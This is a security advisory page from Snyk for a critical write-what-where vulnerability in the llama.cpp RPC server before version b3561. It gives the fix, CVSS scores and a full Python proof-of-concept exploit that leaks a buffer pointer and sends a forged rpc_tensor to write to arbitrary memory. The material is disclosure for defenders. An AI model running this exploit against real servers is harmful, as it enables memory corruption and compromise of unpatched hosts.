Write-what-where Condition Affecting ggerganov/llama.cpp package, versions [,b3561)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-GGERGANOVLLAMACPP-7676278
  • published 13 Aug 2024
  • disclosed 12 Aug 2024
  • credit 7resp4ss

How to fix?

Upgrade ggerganov/llama.cpp to version b3561 or higher.

Overview

Affected versions of this package are vulnerable to Write-what-where Condition through the rpc_tensor structure. An attacker can write to arbitrary memory addresses by manipulating the data pointer.

PoC

from pwn import *

ALLOC_BUFFER = 0
GET_ALIGNMENT = 1
GET_MAX_SIZE = 2
BUFFER_GET_BASE = 3
FREE_BUFFER = 4
BUFFER_CLEAR = 5
SET_TENSOR = 6
GET_TENSOR = 7
COPY_TENSOR = 8
GRAPH_COMPUTE = 9
GET_DEVICE_MEMORY = 10

context(arch='amd64',log_level = 'debug')

p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_DEVICE_MEMORY)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
p.close()


p = remote("127.0.0.1",50052)

pd = b''
cmd = p8(GET_ALIGNMENT)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content

cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
remote_ptr = u64(recv[0x18:0x20])
sz = u64(recv[0x20:0x28])
log.success(f"remote_ptr:{hex(remote_ptr)},size:{sz}")
p.recvall(timeout=1)
p.close()

'''
When the vulnerability cannot be triggered, you might want to adjust the next_ptr variable in the script to the buffer address returned by ALLOC_BUFFER.
'''
next_ptr = remote_ptr + 0x160
log.success(f'next_ptr:{hex(next_ptr)}')


p = remote("127.0.0.1",50052)
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd = cmd + input_size + content
leak_address = remote_ptr + 0x90

#fake a rpc_tensor
rpc_tensor_pd = flat(
    {
        0: [
            0x1,  # id
            p32(2),  # type
            p64(next_ptr),  # buffer
            [  # ne
                p32(0xdeadbeef),
                p32(0xdeadbeef),
                p32(0xdeadbeef),
                p32(0xdeadbeef),
            ],
            [  # nb
                p32(1),
                p32(1),
                p32(1),
                p32(1),
            ],
            p32(0),  # op
            [p32(0)] * 16,  # op_params (corrected from 8 to 16)
            p32(0),  # flags
            [p64(0)] * 10,  # src
            p64(0),  # view_src
            p64(0),  # view_offs
            p64(0xdeadbeef),  # data
            'a' * 64,  # name
            'x' * 4  # padding
        ],
    }
)
cmd = p8(SET_TENSOR)
content = flat(
    {
        0: [rpc_tensor_pd + p64(0) + p64(0x100),
            b'a'*0x100]
    }
)
input_size = p64(len(content))
pd+= cmd + input_size + content

p.send(pd)
p.recv(0x18)
p.close()

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None